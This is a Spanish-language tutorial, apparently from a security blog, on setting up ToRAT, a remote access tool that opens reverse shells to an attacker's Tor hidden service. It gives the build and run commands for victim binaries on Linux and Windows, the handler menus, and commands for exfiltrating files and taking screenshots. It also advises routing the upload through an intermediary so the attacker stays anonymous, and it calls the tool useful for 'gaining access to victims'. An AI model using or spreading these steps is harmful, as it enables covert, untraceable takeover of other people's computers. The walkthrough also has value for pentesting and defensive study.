ToRAT es una herramienta que permite ejecutar reverse shells aprovechando el anonimato que proporciona Tor. El modo de funcionamiento es el siguiente:

  1. El atacante configura una instancia de Tor para que ejecute un Hidden Service.
  2. El atacante genera los binarios (con una instancia de Tor embebida) que ejecutará la víctima.
  3. Tras la ejecución del binario, la víctima iniciará una instancia de Tor que le permitirá comunicarse con el Hidden Service del atacante.

Creación del Hidden Service y binarios

Lo primero es descargar la herramienta y compilar los binarios para las víctimas. Para mayor facilidad de uso, esta tarea se puede realizar usando contenedores Docker:

  1. Clonamos el repositorio y creamos la imagen de ToRAT. Con ello, se generarán la clave y el certificado del Hidden Service. Esto significa que los contenedores desplegados a partir de esa imagen y los binarios de las víctimas tendrán configurado el mismo Hidden Service.
$ git clone https://github.com/lu4p/ToRat.git && cd ./ToRat
$ sudo docker build . -t torat
...
        serverDomain = "lfnd36...bruzvyd.onion"
        serverPort   = ":1337"
        serverAddr   = serverDomain + serverPort
...
        ServerPubKey, _ = crypto.CertToPubKey(serverCert)
...
  21325616 ->  10775636   50.53%   linux/amd64   client_linux
  22107648 ->  10323968   46.70%    win64/pe     client_windows.exe
  1. Para iniciar el Hidden Service y el handler, solo tenemos que arrancar el contenedor a partir de la imagen que acabamos de generar:
$ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat

Con esto, el handler de ToRat empezará a escuchar conexiones en un Hidden Service de Tor. La herramienta nos da acceso al siguiente menú interactivo:

$ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat
...
[Server] /dist_ext/dist/server$ help

Commands:
  alias       give a client an alias
  cd          change the working directory of the server
  clear       clear the screen
  exit        exit the server
  help        display help
  list        list all connected clients
  select      interact with a client

Reverse shell desde la víctima

Es el momento de subir y ejecutar el binario en la víctima. Para no romper el anonimato, este binario debería subirse a la víctima usando algún servicio que haga de intermediario.

Tras la ejecución del binario en la víctima, recibimos una sesión en el handler lanzado en el atacante:

$ sudo docker run -it -v "$(pwd)"/dist:/dist_ext torat
...
[+] New Client vBHv3Vc5awx39ivu connected!
[Server] /dist_ext/dist/server$ list
Clients:
0       vBHv3Vc5awx39ivu        vBHv3Vc5awx39ivu

Interacción con la víctima

Primero elegimos la víctima sobre la que queremos interactuar con el comando select:

[Server] /dist_ext/dist/server$ select
 ❯ 0    vBHv3Vc5awx39ivu        vBHv3Vc5awx39ivu

/data$ help

Commands:
  cat            print the content of a file: usage cat <file>
  cd             change the working directory of the client
  clear          clear the screen
  down           download a file from the client: usage down <file>
  escape         escape a command and run it natively on client
  exit           background the current session
  help           display help
  reconnect      tell the client to reconnect
  screen         take a screenshot of the client and upload it to the server
  up             upload a file from the cwd of the Server to cwd of the client: usage up <file>

En este momento, ya estamos interactuando con la víctima y podemos ejecutar comandos, subir y descargar ficheros, etc.

Conclusiones

ToRAT es una herramienta muy útil para ganar acceso a las víctimas preservando el anonimato del atacante. Simplifica muchísimo la interacción con Tor. De hecho, es prácticamente transparente para el atacante y soporta víctimas con sistemas operativos basados en Linux y en Windows como víctimas.

Sin embargo, es un proyecto muy joven que necesita de mucha más estabilidad y desarrollo de nuevas características. En concreto, echamos en falta integración con otras herramientas como Metasploit, shells más interactivas y redirecciones de puertos para pivoting, entre otras.

Queda claro que es una opción a considerar de cara al futuro del pentesting con Tor. Por ello, te animo a que pruebes esta herramienta.

Álvaro Torres Cogollo.

Quieres contactar conmigo? Te dejo mis redes sociales a continuación.